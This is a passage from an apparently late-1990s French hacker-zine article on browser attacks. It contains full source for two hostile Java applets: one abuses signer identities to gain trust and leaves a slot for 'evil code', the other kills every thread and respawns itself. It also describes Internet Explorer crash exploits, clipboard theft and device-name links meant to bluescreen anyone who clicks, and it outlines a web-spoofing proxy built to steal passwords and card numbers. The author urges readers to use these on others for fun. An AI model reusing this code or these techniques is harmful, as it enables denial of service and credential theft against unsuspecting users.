java.security.*; import java.net.*; import java.io.*; import java.applet.Applet; import java.util.Enumeration; public class HotjavaHoleTester extends Applet { public HotjavaHoleTester() {} public void init() { Class th = null; try { th = Class.forName("SolarisHoleTester"); } catch(ClassNotFoundException e) {} Object[] arr = th.getSigners(); if(arr!=null) { IdentityScope s = IdentityScope.getSystemScope(); Enumeration en = s.identities(); while(en.hasMoreElements()) { Object ident = en.nextElement(); arr[0] = ident; try { Socket sock = new Socket("ftp.coucougnette.gouv.fr", 21); sock.close(); } catch(SecurityException e) { continue; } catch(IOException e) { /* *si cette exception est lancée une identité trustée *a été trouvée, on peut faire tout ce qu'on veut. *insérer l'evil code ici :o) */ } } } } } /*************END HotjavaHoleTester.java****************/ Vous devez signer numériquement l'applet avec les outils du jdk 1.1.1, sinon la méthode java.lang.Class.getSigners() retourne la valeur null et l'applet ne fera rien. ###AppletKiller LaDue a encore frappé avec cette applet qui kille toutes les applets en cours d'exécutions ainsi que celles qui seront downloadées après son exécution. Elle reprend le mécanisme de persistance en mémoire de l'AudioKiller. Je n'ai pas pu déterminer pour quel(s) browsers cette applet a été faite (elle date de 96). J'ai préféré laisser les commentaires dans le source parce que la mécanique des threads qui est utilisée est pour le moins complexe : /************BEGIN AppletKiller.java***************/ import java.applet.*; import java.awt.*; import java.io.*; public class AppletKiller extends java.applet.Applet implements Runnable { Thread killer; public void init() { killer = null; } public void start() { if (killer == null) { killer = new Thread(this,"killer"); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } } public void stop() {} // Kill all threads except this one public void run() { try { while (true) { ThreadKiller.killAllThreads(); try { killer.sleep(100); } catch (InterruptedException e) {} } } catch (ThreadDeath td) {} // Resurrect the hostile thread in case of accidental ThreadDeath finally { AppletKiller ack = new AppletKiller(); Thread reborn = new Thread(ack, "killer"); reborn.start(); } } } class ThreadKiller { // Ascend to the root ThreadGroup and list all subgroups recursively, // killing all threads as we go public static void killAllThreads() { ThreadGroup thisGroup; ThreadGroup topGroup; ThreadGroup parentGroup; // Determine the current thread group thisGroup = Thread.currentThread().getThreadGroup(); // Proceed to the top ThreadGroup topGroup = thisGroup; parentGroup = topGroup.getParent(); while(parentGroup != null) { topGroup = parentGroup; parentGroup = parentGroup.getParent(); } // Find all subgroups recursively findGroups(topGroup); } private static void findGroups(ThreadGroup g) { if (g == null) {return;} else { int numThreads = g.activeCount(); int numGroups = g.activeGroupCount(); Thread[] threads = new Thread[numThreads]; ThreadGroup[] groups = new ThreadGroup[numGroups]; g.enumerate(threads, false); g.enumerate(groups, false); for (int i = 0; i < numThreads; i++) killOneThread(threads[i]); for (int i = 0; i < numGroups; i++) findGroups(groups[i]); } } private static void killOneThread(Thread t) { if (t == null || t.getName().equals("killer")) {return;} else {t.stop();} } } /*************END AppletKiller.java****************/ Raaaaaaaahhhhhh le mal de tête !!! Apprenez tant qu'il en est encore temps que le thread est l'ennemi de tout bon programmeur encore sain d'esprit... Bon tout compte fait je mets ici que deux applets, les autres sont moins rigolotes :) III. SCRIPTS ET HTML ______________________ En cherchant des exploits, force est de constater que msie est troué de partout. La plupart des exploits sont assez simples à trouver, la plupart se contentent de créer des erreurs dans la gestion de la mémoire. Overflows rule ;) C'est parti pour un petit tour gratuit : ***Stack overflow pour msie 4.0 (et peut être d'autres versions) Il suffit d'insérer un tag pour crasher notre ami internet explorer, en l'occurence avec une extension de fichier de plus de 200 caractères. Trying to crash IE 4.0 40 80 160 170 180 190 200 Ceci devrait ouvrir une boîte de dialogue et crasher ie. ***Boucles infinies pour msie 4.01 Cet exploit va forcer le browser à s'enfermer dans une boucle infinie et par conséquent à crasher. Pour ceci l'attribut data du tab va faire une référence à lui même. Démonstration : Assurez vous d'enregistrer le fichier sous le nom spécifié dans l'attribut data (ici crashtest.html). Il existe une légère variation qui crée une erreur dans un .dll différent et cause une erreur différente. Il suffit de rajouter un tag Enfin une dernière variation, moins pratique mais aussi intéressante. Le principe est d'utiliser ici deux fichiers qui font chacun référence à la fois à eux mêmes et à leur homologue. Créez deux fichiers crashtest1.html et crashtest2.html à l'aide de ceci : Cette fois c'est le disque dur qui va morfler, l'utilisation processeur dépend de votre configuration, je vous laisse donc essayer. ***Clipboard privacy Il est connu celui là mais bon... le presse-papier peut-être rendu public pour ie 4 et 5 avec la simple commande javascript "document.execCommand("paste");". Giga sexe non ? ***Encore un overflow Je sens qu'à la fin du dossier votre explorer aura pris 10 ans dans la gueule ;) Cette fois on peut planter ie avec un lien de plus de 300 caractères. Le browser envoie la requête au serveur puis plante lors de la réception de la requête. ***Quand Windows tousse... Il suffit ici d'utiliser l'exploit maintenant connu consistant à faire crasher windows à partir des noms de périphériques "con", "aux", "nul" ou "clock$". Faites référence à n'importe quelle combinaison de ces chaînes et placez le tout dans un lien, tous les malheureux qui cliqueront verront windows leur péter à la gueule (hihih). Click me Variante : bien que ça soit moins drôle vous pouvez aussi faire une redirection automatique sur cette base. Insérez donc ce tag entre les tags de votre fichier html (modifiez la valeur après content, en secondes, pour avoir l'effet d'une bombe à retardement, ici sur 5 secondes) : Si comme moi vous vous emmerdez en cours de prog, vous pouvez bien sur inclure un lien vers une adresse de ce genre dans un prog en vb par exemple... Pkoi pas sur le formload?. Une autre chose rigolote est de mettre ça en javascript sur un OnMouseMove... Enfin amusez vous comme vous pouvez quoi. C'est con con non? (et merde, un écran bleu...) lol ***Yet Another IE Bug Ce simple script gèle instanément ie 4 et 5, on doit fermer la fenêtre avec ctrl-alt-suppr. J'ai tenté de le reproduire en java mais il ne fait que ralentir le browser, rien de bien catastrophique :( IV. WEB SPOOFING ___________________ Cette technique de piratage spectaculaire a été découverte par... les gars de Princeton (encore eux). Elle date de 1996 mais est encore très probablement exploitable, en tout cas personne ne connait d'implémentation successful de cette attaque. Ready ? Go ! ***Présentation de l'attaque Cette attaque est extrêmement dangereuse, elle permet aux assaillants (nous en l'occurence), de créer une copie du web qu'elles maîtrisent entièrement et d'y enfermer de pauvres victimes (peut-être vous en l'occurence ;). Si on s'y prend bien elle est pratiquement invisible et on peut capturer toutes sortes d'informations plus qu'intéressantes, voir tout ce que la victime fait sur internet et interférer avec ses visites, on peut envoyer des données à sa place et modifier celles qu'elle reçoit. Cette partie risque d'être un peu trop abstraite à votre goût puisque les gars de chez Princeton se gardent de donner des détails sur la réalisation de la technique et que la doc est particulièrement rare sur le web spoofing. Heureusement il y a sleazy wind (petite musique publicitaire...) ***Principe du spoofing Les joyeux barbus de madchat vont encore dire que je suis orienté init, mais je peux pas m'empêcher de m'assurer que tout le monde comprend de ce dont je parle, donc c parti pour une petite présentation du spoofing, na. Le spoofing est tout ce qu'il y a de plus amusant, il s'agit de fausser des informations dans le but de tromper les autres personnes et si possible les pousser à faire des choses qui vont à l'encontre de leurs intérêts sans que les principaux intéressés s'en rendent compte (très bonne définition cher maddany... je sais je sais merci uh uh uh... oh mais si vraiment... ne me faites pas rougir monsieur... ahem). Dans ce cas, nous allons totalement spoofer le web aux yeux de la victime, elle croira surfer normalement alors que nous avons un oeil et même deux au dessus de son épaule. Vous êtes peut-être sans le savoir déjà victime du web spoofing. Qu'est-ce qui vous dit que c'est bien sur amazon.com que vous êtes connecté quand vous donnez votre numéro de carte bleue ? Ben ça se voit... y a le logo d'amazon... le style d'amazon... l'adresse d'amazon... et pourtant ce n'est peut-être pas amazon. Le fait est que vous vous basez sur des faits visuels et des habitudes pour reconnaître les sites auxquels vous faites confiance et donc à qui vous êtes prêts à donner vos mots de passe. Bienvenue dans l'incroyable monde de la désillusion où superman n'existe pas mais le web spoofing si :) ***Réalisation du spoofing Après maintes réflexions je suis maintenant quasiment sur qu'on pourrait réaliser l'attaque relativement facilement. Finalement c'est le principe d'un proxy hostile : on programme un serveur web sur lequel la victime se connecte. Si elle clique sur un lien sur une page depuis notre serveur elle est prise au piège, nous serons maître de la page qu'elle va visiter et de toutes celles qu'elle visitera après cette page (on peut aussi utiliser l'autorefresh à 0 évidemment). On peut utiliser pour cela la technique de la réécriture d'url. Une url réécrite a ce look là : http://www.attackers.com/http://www.amazon.com/. Si la victime entre cette adresse, elle entre apparemment tout à fait normalement sur amazon.com mais est en fait connectée sur notre serveur, qui lui retransmet l'url qu'elle a demandé. Comme on passe par notre serveur on maîtrise évidemment tout ce qu'on veut avant de lui retransmettre l'url, on sait ce qu'elle voit vu qu'on doit le lire, on peut le modifier, et on peut lire les réponses de la victime. Vous suivez l'astuce ? A partir de ce moment toutes les techniques que nous mettrons en jeu serons des techniques de camouflage du piège. -il faut que notre serveur réécrive les pages demandées de manière à formatter correctement les liens qui apparaîtront, comme ça si la victime clique sur un lien dans la page spoofée elle reste dans notre web. Exemple (sur une page sur amazon) : remplacer par -il faut placer un petit javascript pour camoufler la cible des liens reformattés, la victime mettra plus de temps à se rendre compte de l'arnaque. Comme ça elle ne voit que l'adresse normale dans le champ de la cible :) http://www.truesite.com/ (merci à the master pour le snippet) -il faut changer la barre d'adresse, parce que quand elle est dans notre web celle-ci affiche les urls reformattées, logique. Or c'est pas cool parce que c'est plus que louche et on peut pas réécrire cette adresse en javascript, et encore moins en java, à moins de trouver un exploit pour ça mais je n'en ai trouvé nulle part. La seule solution valable, même si elle est pas top est de cacher cette adresse. On peut utiliser des frames, ou alors afficher la page cible en plein écran. La deuxième solution est peut-être la meilleure -si votre serveur supporte ssl, alors la victime croira qu'elle est effectivement sur une connexion sécurisée vu qu'il y a le petit cadenas en bas de la page... comme quoi la désinformation rulez, elle est effectivement sur une connexion sécurisée mais ça ne l'empêche pas de se faire pirater, puisque la connexion sécurisée s'effectue sur notre serveur, et que l'on maîtrise toujours ce qui transite par nous donc. Il ne reste plus qu'à écrire le code :) V. CONCLUSION ________________ Fermez les volets, désactivez le scripting et le java dans votre browser (surfez avec telnet), interdisez les mails html (parce qu'outlook runne les applets incorporées dans un mail html), ne transmettez pas de mots de passe ou d'informations personnelles par une interface web, mâchez tonigum après tous les repas... vous commencez à être un peu plus à l'abri, mais méfiez-vous, ils sont partout.... Si par malheur vous avez envie de me contacter, vous pouvez toujours essayer maddany@madchat.org pour voir si j'y suis. VI. SOURCES ______________ Sites : La page de Mark D. LaDue : www.rstcorp.com/hostileapplets Le département informatique de Princeton sur la programmation web : www.cs.princeton.edu/sip Une page assez complète sur la sécu java : www.rstcorp.com/javasecurity/links.html Magelang's java security tutorial : developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html Livres : Maximum Security 2nd ed., sams Le Programmeur java 2, campus press Bibliothèque de classes java 2, campus press Java Gurus, online The Java VM specification 2nd ed., online Java network programming 2nd ed., manning